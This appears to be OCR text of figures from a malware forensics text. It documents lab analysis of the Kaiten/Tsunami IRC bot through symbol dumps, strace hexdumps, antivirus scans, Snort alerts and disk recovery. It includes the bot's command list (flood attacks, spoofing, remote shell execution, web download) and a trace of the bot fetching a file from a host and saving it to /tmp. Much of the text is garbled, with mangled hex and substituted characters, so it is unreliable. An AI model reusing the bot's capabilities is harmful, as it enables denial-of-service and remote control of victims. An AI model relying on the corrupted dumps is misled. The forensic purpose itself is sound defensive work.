0709 ‘Somewhat interesting. May contain malicious files with some deliberate attempts
at obfuscation

09-10 Very interesting. May contain malicious files with deliberate attempts at
obfuscation.

10+ Fiighly Interesting. Often contains malicious files with deliberate atiempts at

obfuscation.
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lab@MalwareLab:~/Malware Repository$ nm -al sysfile

08044300
00000000
0804d1e8
0804d000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
0804d1£0
08044120
08048638
08048228
0804c£34
0804be64

1386-1inux/csu/crti.

0804870
08048864
0804d1fc
08048128
08048adc

b .bss

n .comment

a .ctors

d .data

N .debug_abbrev

N .debug_aranges

N .debug_frame

N .debug_info

N .debug_line

N .debug_pubnames

N .debug_str

d .dtors

d .dynamic

r .dynstr

 .dynsym

r .eh_frame

t .fini /usr/src/build/229343-1386/BUILD/glibc-2. 3.2-20030227/build-
:51

© .gnu.version

r .gnu.version r

d .got

r .hash

t .init /usr/src/build/229343-1386/BUILD/glibc-2. 3.2-20030227 /build-

1386-1inux/csu/crti.$:35

080480£4
0804d1£8
08048108
08048264
08048894
0804889¢c
0804be80
00000000
00000000
00000000
08048dda
00000000

T .interp
a ger
I .note.ABI-tag
‘plt
_rel.dyn
.rel.plt
_rodata
_shstrtab
Istrtap
.symtab
Ltext
Jusz/sre/build/229343-1386/BUILD/glibc-2.3.2-20030227/build-1386-

Linux/config.h

00000000

a /usr/src/build/229343-1386/BUILD/glibc-2. 3.2-20030227/build-1386-

Linux/config.h

00000000

a /usr/src/build/229343-1386/BUILD/glibc-2. 3.2-20030227/build-1386-

linux/config.h
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[ ImageBase | ImageSze | Hlilie—
comec Inagects bvide. 00400000 DOCSEQ0D
loadinko P editor... (temp ) 7CH00000 00080000
Ioad into PE editor... (read only) 7CB00000  000F4000 [

77040000 00030000 ]

fRmprocess 7710000 00046000 - Et

refresh s
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00020
00050
000c0
00040
000e0
000£0
00100
00110
00120
00130

write (4,

recv (5,

00000
00010

00000
00010
00020
00030
00040
00050
00060
00070
00080
00090
000a0
00060
000c0
00040
00060
000£0
00100
00110
00120
00130
00140
00150
00160
00170

a Oa

7
7
2
6d
63
67
67
7
38
0a

“NOTICE lab :Receiving file.\n",

2
6
20
6
6
7a
75
24
3

41 63 03 65 70 N4

6
6
5
67
2
5
6
4
3

2¢
7
6
&
7
0
67
6
2

2
2¢
6
2
7
04
&
6
3

69
2
61
7
2a
0a
3
2
2¢

6d
6
6
e
4
4
2
2
2a

61
6d
2¢
&1
e
6
65
6
2¢

e 4f 54 49 43 45 20 6c
69 76 69 Ge 67 20 66 69
open (*/tmp/ior”, O_WRONLY|O_CREAT|O_TRUNC, 0666!
TIR

18
0a
70
20
6
74
61
74
30
67
66
7
0a
20
69
20
7
0d
7
7
a6
00
00
00

54
4
72
7
63
7
7
2
3a
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3
2a
4
3
7
6d
6
0a
65
6
o1
o1
00
o1

54
61
20
4
68
2
7
2
32
2
31
52
6t
30
6
61
f
4
7
7
o1
00
00
00

50
7
32
54
65
2
2
31
38
2
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61
e
30
EE
2
e
6
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£
o1
00
00
00

2
65
30
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2
50
4
39
2
36
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e
2
34
20
3d
3a
e
2t
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00
00
00
00

31
3a
30
0a
32
4
6t
20
34
34
62
6
6
39
74
31
20
74
70
54
00
00
34
00

“HTTP/1.1 200 OK\r\nDate:

2
20
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50
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4

36
35
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6
e
32
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30
a
65
6c
5
00
81
00
00

3a 20 6

67
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2
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22
6
7
0a
2
66

28)

7
2¢
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3

2

7
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6
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61 62 20 3a 52 65
6c 65 2e 0a

sat,
31 20
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20 30
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32 2e
2t 35
6 66
70 72
20 47
31 38
30 22
73 3a
74 2d
0d 0a
6d 65
30 o0d
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6e 74
61 69
24 38
00 00
0a o8
20 00
00 00
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3
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e
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00
00
00
08

at
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£
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00
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0a
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0
b
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AspackDie - Info

> File seems to be unpacked successfully.
\1‘) Compressor: Aspack 2.1212.12a2.12b
Output: C:{Documents and SettingsiMalwarelunpacked. ExE

OK
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socket (PF_INET, SOCK_STREAM,

connect (5,

addr (*192.168.110.131") ),

write(s,

|
'
|

00000
00010
00020
00030
00040
00050
00060
00070
00080

“GET /apache2-default/ior HTTP/1.”
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61
30
65
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20
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45
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16)
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IPPROTO_IP) =

7
6
6e
6
2
6e
7
0
3

0
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4
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lab@MalwareLab:~/Malware Repository$ eu-nm -D sysfile

synbols from sysfile:
Name Valve  Class Type
100000000 LOCAL |NOTYPE

_10_stdin_used  |0804be84 |GLOBAL|OBJECT
errno_location |08048b34 |GLOBAL|FUNC

_gmon_start__  100000000|WEAK |NOTYPE
__libc_start_main|08048c44|GLOBAL | FUNC
accept 108048544 | GLOBAL | FUNC
atoi 108048ced | GLOBAL| FUNC
atol 108048474 | GLOBAL | FUNC
beopy 108048524 | GLOBAL | FUNC
bind 108048c74 | GLOBAL | FUNC
close 108048ae4 | GLOBAL| FUNC
connect 108048434 | GLOBAL | FUNC
exit 108048cd4 | GLOBAL | FUNC
fclose 10804894 | GLOBAL | FUNC
feof 108048aa4 | GLOBAL | FUNC
fgets 108048bd4 | GLOBAL| FUNC
fopen 108048d54 | GLOBAL | FUNC
fork 108048a£4 | GLOBAL | FUNC
fputc 108048c14 | GLOBAL | FUNC
free 108048c£4 | GLOBAL | FUNC
gethostbyname  |08048cbd|GLOBAL | FUNC
getpid 108048abd | GLOBAL | FUNC

getppid 108048b84 | GLOBAL | FUNC

0
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[#*] [116:96:1] (snort_decoder): Invalid UDP header, length field < 8 [**]
04/20-22:25:51.985174 192.168.110.75:0 ~> 192.168.110.134:0

UDP TTL:64 T0S:0x0 ID:47651 Iplen:20 Dgmlen:1500

UDP header truncated

[+4] [116:96:1) (snort_decoder): Invalid UDP header, length field < 8 (*+]
04/20-22:25:52.041179 192.168.110.147:0 ~> 192.168.110.134:0

UDP TTL:64 105:0x0 ID:19525 IpLen:20 Dgnien:1500

UDP header truncated

[**] (1:527:8] BAD-TRAFFIC same SRC/DST [**]

(Classification: Potentially Bad Traffic] [Priority: 2]

04/20-22:25:52.043909 192.168.110.134:0 -> 192.168.110.134:0

UDP TTL:64 TOS:0x0 10:57028 IpLen:20 DgmLen:1500

UDP header truncated

[Xref => http://www.cert.org/advisories/CA-1997-28.html] (Xref => http://cve.mitre.
org/cgi-bin/cvenae.cqiznane=1999-0016] [Xref => http://www.securityfocus.com/
bid/2666]

[**] [116:96:1] (snort_decoder): Invalid UDP header, length field < 8 [*+]
[Classification: Potentially Bad Traffic] (Priority: 2]

04/20-22:25:52.043909 192.168.110.134:0 -> 192.168.110.134:0

UDP TTL:64 TOS:0x0 1D:57028 IpLen:20 DgmLen:1500

UDP header truncated

+//www.cert.oxg/advisories/CA-1997-28 .html] [Xref => http://cve.mitre.
org/cgi-bin/cvename.cgizname=1999-0016] [Xref => http://ww.securityfocus.com/
bid/2666]

[+] [116:96:1] (snort_decoder): Invalid UDP header, length field < 8 [**]
04/20-22:25:52.045512 192.168.110.135:0 ~> 192.168.110.134:0

UDP TTL:64 TOS:0x0 ID:29469 IpLen:20 Dgnlen:1500

UDP header truncated

[**] [116:96:1] (snort_decoder): Invalid UDP header, length field < 8 [**]
04/20-22:25:52.047456 192.168.110.97:0 -> 192.168.110.134:0

UDP TTL:64 TOS:0x0 1D:58193 IpLen:20 DgmLen:1500

UDP header truncated

[**] [116:96:1] (snort_decoder): Invalid UDP header, length field < 8 [**]
04/20-22:25:52.049007 192.168.110.129:0 ~> 192.168.110.134:0

UDP TTL:64 TOS:0x0 ID:62067 Iplen:20 Dgmlen:1500

UDP header truncated

[**] [116:96:1] (snort_decoder): Invalid UDP header, length field < 8 [**]
04/20-22:25:52.051655 192.168.110.64:0 -> 192.168.110.134:0

UDP TTL:64 TOS:0x0 ID:15014 IpLen:20 DgmLen:1500

UDP header truncated
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write(3, “NOTICE lab :Unknowning 192.168.17..., 40) = 40
| 00000 4e 4f 54 49 43 45 20 6c 61 62 20 3a 55 6e 6b Ge NOTICE 1 ab :Unkn |
| 00010 6f 77 6e 69 Ge 67 20 31 39 32 2e 31 36 38 2e 31 owning 1 92.168.1 |
| 00020 31 30 2e 31 33 34 2e Oa 10.134.. |

socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP) = 4

foctl(4, FIONBIO, (1) -0

sendto(4, “\310\372\4\10\377\377\377\377\377\377\377\377\361\364\1"... ., 9216, 0,

{sa_family=AF_INET, sin_port=htons(50181), sin_addr=inet_addr(*192.168.110.134")},

16) = 9216

| 00000 c8 fa 04 08 £ £f £f £f f£f £f £f £f £1 £4 01 00
| 00010 64 £5 04 08 00 00 00 00 00 00 00 00 00 00 00 00
| 00020 ££ ££ ££ ££ 00 00 00 00 00 00 00 00 00 00 00 00
| 00030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00040 00 00 00 00 00 00 00 00 00 00 00 00 00 2a £2 b7
| 00050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|
|
|
|
|
|
|
|

00090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000£0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00110 00 00 00 00 40 27 £2 b7 00 00 00 00 el £3 01 00
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usage: strings (-s] [-o] [-n length] (-a] [-u] [-q] <file or directory>
-s Recurse subdirectories

-0 Print offset in file string was located
-n Minimum string length (default is 3)

-a  Ascii-only search (Unicode and Ascii is default)
-u Unicode-only search (Unicode and Ascii is default)

-q  Quiet (no banner)
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Found something!

Found address which may be in the Original AT, Try ‘Get Import'.
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$ objdump --full-contents --section
file format elf32-1386

-/sysfile:

Contents
804be80
804be90
804bead
804beb0
804beco
804bed0
804beed
804be£0
804b£00
804b£10
804b£20
804b£30

of section

03000000
00000000
7670732
73206065
31303200
6e61626c
02007200
72647300
3a20554e
00000000
dedssads
686£7374

01000200
00000000
61786973
74003230
seassasg
6520746¢
2£757372
2573203
4958203
00000000
43452025
3e203¢73

<out for Brevitys

.rodata:

00000000
00000000
61606461
3420332
43452025
20636£6d
2£646963
20555345
20257302
00000000
73203247
61766520

.rodata

00000000
00000000
60606965
3231382¢
73203a55
706¢792¢
742776
52494420
00000000
00000000
4554203
61733e0a

+Jsystile

VDS L HRRKRAKKHR
X.neT. XXX X. XXX
xxx.NOTICE s :U
nable to comply.
.. /use/dict/wo
rds.%s : USERID
+ UNIX : 8s.

NOTICE %s :GET <
host> <save as>.
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Import REConstructor v1.6 FINAL (C) 2001-2003 MackT/uCF.
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$ objdump --file-header ./sysfile

./sysfile.el file format e1£32-1386
architecture: 1386, flags 0x00000112
EXEC_P, HAS_SYMS, D_PAGE!

address 0x08048ddd
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7 BinText 3.01

Search | Fiter | Help |
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¥ Advanced view

Go

Time taken : 0078 secs  Text size: 26086 bytes (25.47K)

File pos

[ Mem pos

D [Tew

A 00000050
4 00000270
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4 00000007
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4 00000098
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* This is a IRC based distributed denial of service client. It connects to *

* the server specified below and accepts commands via the channel specified. *
* The syntax is: .
B t<nick> <command> -
* You send this message to the channel that is defined later i this code.  *
* Wnere <nick> is the nickname of the client (which can include wildcards)  *
* and the command is the command that should be sent. For example, if you  *
* want to tell all the clients with the nickname starting with N, to send you *
* the help message, you type in the chamnel: .
B IN* HELE .
* That will send you a list of all the commands. You can also specify an  *
* astrick alone to make all client do a specific command: .
- 1+ SH uname -a .
* There are a number of commands that can be sent to the client: .
. TSUNAMI <target> <secs> = A PUSHYACK flooder .
. PAN <target> <port> <secs> = A SYN flooder .
B UDP <target> <port> <secs> = An UDP flooder *
“ UNKNOWN <target> <secs> = Another non-spoof udp flooder ¥
. NICK <nick> = Changes the nick of the client .
* SERVER <server> = Changes servers .
. GETSPOOFS = Gets the current spoofing .
* SPOOFS <subnet> = Changes spoofing to a subnet .
B DISABLE = Disables all packeting from this bot *
- ENasLE = Enables all packeting from this bot *
. KILL = Kills the knight .

GET <http address> <save as> = Downloads a file Off the web
- VERSION = Requests version of knight

. KILLALL = Kills all current packeting

- usLe = Displays this

. IRC <comnand> = Sends this command to the server

M SH <command> = Executes a command

* Remember, all these commands must be prefixed by a ! and the nickname that
* you want the command to be sent to (can include wildcards). There are no
* spaces in between the ! and the nickname, and there are no spaces before
* cthe !

- contem on efnet

AAASEARA RSN A bR AR AR AR R R s R RAR R L AR SRS AS Y RSRAATERR SRS R AR AR RAH R
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5 less /home/examiner/examiner-data/sysfile.elf.dump. commented
§ Assembler source was auto-commented with the Examiner v0.S
# http://Acadenicunderground.org/examiner/

/home /examiner /working/sysfile: file format elf32-i386
Disassembly of section .init:

08048adc <_init>:
§ [ INIT FUNCT]
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lab@MalwareLab /Malware Repository$ clamscan kaiten.c

kaiten.c: Trojan.Tsunami.B FOUND
- SCAN SUMMARY
Known viruses: 184419

Engine version: 0.90.2
Scanned directories: 0
Scanned files: 1

Infected files: 1

Data scanned: 0.04 MB
Time: 57.178 sec (0 m 57 s)

labeMalwareLab:~/ Malware Repository$ clamscan sysfile
sysfile: Trojan.Tsunami.B FOUND

SCAN SUMMARY
Known viruses: 184419
Engine version: 0.90.2
Scanned directories: 0
Scanned files: 1
Infected files: 1

Data scanned: 0.04 MB
Time: 60.958 sec (1 m 0 s)
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5 examiner -x ./sysfile -vs
PHASE 1 - Dumping data from /home/examiner/working/sysfile
Target binary is SYSV x86 dynamic executable.

Parsing header sections...done.

Creating original dump file /home/examiner/examiner-data/sysfile.dump.

PHASE 2 - Initial pass of dumped data
Parsing source for functions, interrupts, etc.
Loading rodata into memory...done.

Loading .data into memory...done

PHASE 3 - Analyze collected data

Analyzing interrupts and renaming valid functions...done.
Attempting to detail duplicate function names...done.

PHASE 4 - Generate commented dissassembled source (takes a while).
Commenting functions and constants calls...done.

done.

__++000000( Summary 1000000..__
3030 lines of code were processed.
99 functions were located.
Of those, 97 were successfully identified.
Function Ratio: 97%
Commented code can be found here: /home/examiner/examiner-data/
sysfile..eL£ . dump. conmented

~done.
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C:\Documents and Settings\Malware Lab\Desktop\>Dumpbin /DEPENDENTS Video.exe
Microsoft (R) COFF/PE Dumper Version 8.00.50727.42
Copyright (C) Microsoft Corporation. ALl rights reserved.

Dump of file Video.exe
File Type: EXECUTABLE IMAGE
Image has the following dependencies:

kernel32.dll
user32.dll
advapi32.dll
oleaut32.dll
advapi32.dll
version.dll
gdi32.d11
user32.dll
ole32.dll
oleaut32.all
ole32.dll
oleaut32.dll
comet132.d11
shell32.dll
wininet.dll
urlmon.dll
shell32.dll
comdlg32.d11
shlwapi.dll
user32.d1l

Summary

1000 .adata
8000 .aspack
3000 .idata
1000 .rdata
F000 .reloc
BAB00D .rsrc
1000 .t1s
2000 BSS
DC000 CODE
3000 DATA
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lab@MalwareLab: ~/Maluare Repository$ hachoir-metadata --type sysfile

ELF Unix/BSD program/library: 32 bits
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C:\Documents and Settings\Malware Lab\Desktop>file Video.exe
File identify [Freeware] Version 0.6.1 Copyright (c) Optima SC Inc. 2002-2006
Video.exe [exe] Windows NT portable executable file, w/Symbol info

linfo] file class : code

[info] file path \Documents and Settings\Malware Lab\Desktop\
1/1 files identified
100.00 % found.
0 seconds
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LegalCopyright:
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OriginalFilenan:
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Comments:
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32 bit Windows
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ed: 4, total: 16):
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Press any key to end the program

3736 bytes
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lab@Malwarelab:~/$ ssdeep -rpl Malware\ Repository/
Malware Repository//muse matches Malware Repository//sysfile (99)

Malware Repository//spool matches Malware Repository//seville (40)
Malware Repository//spool matches Malware Repository//dawds (58)
Malware Repository//spool matches Malware Repository//sroce (32)

Malware Repository//totals matches Malware Repository//stuz (46)

Malware Repository//cast-backdoor matches Malware Repository//sysfile-
hash.txt (41)

Malware Repository//hurt matches Malware Repository//talon (61)

Malware Repository//sysfile-hash.txt matches Malware Repository//cast-
backdoor (41)

Malware Repository//seville matches Malware Repository//spool (40)
Malware Repository//seville matches Malware Repository//dawds (40)
Malware Repository//seville matches Maluare Repository//sroce (29)

Malware Repository//dawds matches Malware Repository//spool (58)
Malware Repository//dawds matches Malware Repository//seville (40)

Malware Repository//stuz matches Malware Repository//totals (46)
Malware Repository//sysfile matches Malware Repository//muse (99)
Maluare Repository//talon matches Malware Repository//hurt (61)

Malware Repository//sroce matches Malware Repository//spool (32)
Malware Repository//sroce matches Malware Repository//seville (29)
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/home/1ab/Malware Repository/sysfile matches /home/lab/Malware
Repository/muse (99)
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Loaded kernel driver: CaptureProcessionitor

Loaded kernel driver: CaptureRegistryMonitor

Loaded filter driver: CaptureFileMonitor

process: created C:\WINDOWS\explorer.exe -> C:\Program Files\Mozilla Firefox\
firefox. exe

registry: SetValueKey C:\Program Files\Mozilla Firefox\firefox.exe -> HKCU\Software\
Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\ (dcf49ee3-e793-11dc~
9b0e-80646172696¢ ) \BaseClass

registry: SetValueKey C:\Program Files\Mozilla Firefox\firefox.exe -> HKCU\Software\
Microsoft\Windows\CurrentVersion\Explorer\ountPoints2\ (dcf49eel-e793-11dc-
9b0e-806461726961 ) \BaseClass

registry: SetValueKey C:\Program Files\Mozilla Firefox\firefox.exe —> HKCU\Software\
Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\ (dcf49ee0-e793-11dc-
9b0e-B06d6172696¢ | \BaseClass

registry: SetValueKey C:\Program Files\Mozilla Firefox\firefox.exe -> HKCU\Software\
Microsoft\Windows\CurrentVersion\Explorer\shell Folders\Local AppData

registry: SetValueKey C:\Program Files\Mozilla Firefox\firefox.exe -> HKCU\Software\
Microsoft\Windows\CurrentVersion\Explorer\shell Folders\ppbata
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lab@MalwareLab:~$ file sysfile

systile: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for
GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
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lab@MalwarelLab:~/ Malware Repository$ trid -d:/bin/TrIDDefs.TRD sysfile

Tr1D/32 - File Identifier v2.00/Linux - (C) 2003-06 By M.Pontello
Definitions found: 2814
Analyzing. ..

Collecting data from file: sysfile
50.1% (.0) ELF Executable and Linkable format (Linux) (5034/15)
49.8% (.0) ELF Executable and Linkable format (generic) (5000/1)
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lab@MalwareLab:~/Malware Repository$ antivir sysfile
AntiVir / Linux Version 2.1.11-47

Copyright (c) 2007 by Avira GmbH.

ALL rights reserved.

VDF version: 7.0.1.174 created 29 Dec 2007

Date: 25.12.2007 Time: 22:20:12 Size: 34203
ALERT: [BDS/Katien.R] sysfile <<< Contains a detection pattern of the
(dangerous) backdoor program BDS/Katien.R Backdoor server programs

scan results

directories: o
scanned files 1
alerts 1
suspicious: 0
repaired 0
0

o

0

1

deleted:
renamed;
quarantined:

scan time: 00:00:0
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00600806.6 file_version UInts 08600601.6 1
06006070 pad FirodString  03000608.0 "\0\G\G\O\O\O\O\D"
0800000f.6 nb_ident UlInt8 06000601.6 &
06000010.0 type utntis 06000620 Executable file
000609120 machine ulnte 050006020 Intel. 8038
060900140 version utntz2 050006040 1
00060018.0 antry uIntzz 03000004.0 134516180
0800001c .6 phoff UInt32 00000664.0 52
06000020.0 shof utntz2 050600040 27108
00000024.0 flags UInt32 00000004.0 ©
00000628.0 ehsize utntis 030000620 52
0000002a.0 phentsize Ulntl6 00000662.6 32
06060020 phrun untis 050006626 &
060600260 shentsize utntis 080606620 40
08060036.6 shnum Ulntl6 00000662.0 34 [
00860326 shetrmdx utnt1s 66000602.6 31 8






OEBPS/images/f000050gr6.jpg
FLEANALYSIS ) KEYWORDSEARCH, __ FILETYPE

META DATA
LN

DATA UnIT.

Inode Number:
5056

view.

Atocaion List.

5040; allocated
8042; free
6043; [ree
8044; 1
6045; allocated
1048 allocated
free

8: frec
5049: allocated
8052; allocated
8053; free
8054; free
8055 free
8056; £
5057; allocated
80S6; free
s050:






OEBPS/images/f000086gr24.jpg
lab@MalwareLab:~/Malware Repository$ fpscan sysfile

F-PROT Antivirus version 6.2.1
FRISK Software International (C) Copyright 1989-2007

Engine version: 4.4.2.54
Virus signatures: 2007122916174d88860316d8£8a671cb273£11470082
(/opt/f-prot/antivir.def)

[Found virus] <Unix/Kaiten.genl> sysfile
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Details:

inode: 40258
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Group: 20

Generation Id: 3839010962
uid/gid: 0/1

mode: -1w-
size: 512
num of links: 1.

Inode Times:
Accessed: Thu Apr 8 08:17:14 2004

File Modified: Thu Apr B 08:17:14 2004
Inode Modified: Thu Apr 8 08:17:14 2004






OEBPS/images/f000086gr23.jpg
lab@MalwareLab:~/Malware Repository$ clamscan sysfile
sysfile: Trojan.Tsunami.B FOUND

SCAN SUMMARY
Known viruses: 183394
Engine version: 0.90.2
Scanned directories: 0
scanned files: 1
Infected files: 1

Data scanned: 0.04 MB
Time: 61.711 sec (1 m 1 s)
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Pointed to by file:
File name not found for inode

File Type (Recovered)

POSIX tar archive (GNU) (gzip compressed data, was *ssh.tar", from Unix, last modified:
EriJan 1221:27:48 2001)

MDS of recovored content:

SHA-1 of recovered content:
4350460616 700877c0S388 dBSb 90027 TE3He

Details:

inode: 8058
Group: 3

Generation Id: 3639010907
uid/gick 500/500

mode: -rvx—

size: 101548
num of links: 0

Inode Times:
‘Accessed: Thu Apr 8 07:50:40 2004

File Modified: FriJan 12 21:27:46 2001
Inode Modified: Thu Apr 8 07:50:40 2008
Deleted; Thu Apr 8 07:50:48 2004
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25877 25678 25670 25080 25881 25882 25683 25884
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lab@MalwarelLab:~/Malware Repository$ avast sysfile

/home/1ab/Malware Repository/sysfile linfected by: ELF:Tsunami-B (Trj]]
'

¢ Statistics:

¢

¢ scanned files: 1

¢ scanned directories: 0

¢ infected files: 1

# total file size: 36.4 kB

# virus databas 071224-0 24.12.2007
¢ test elapsed: 0s Sinms
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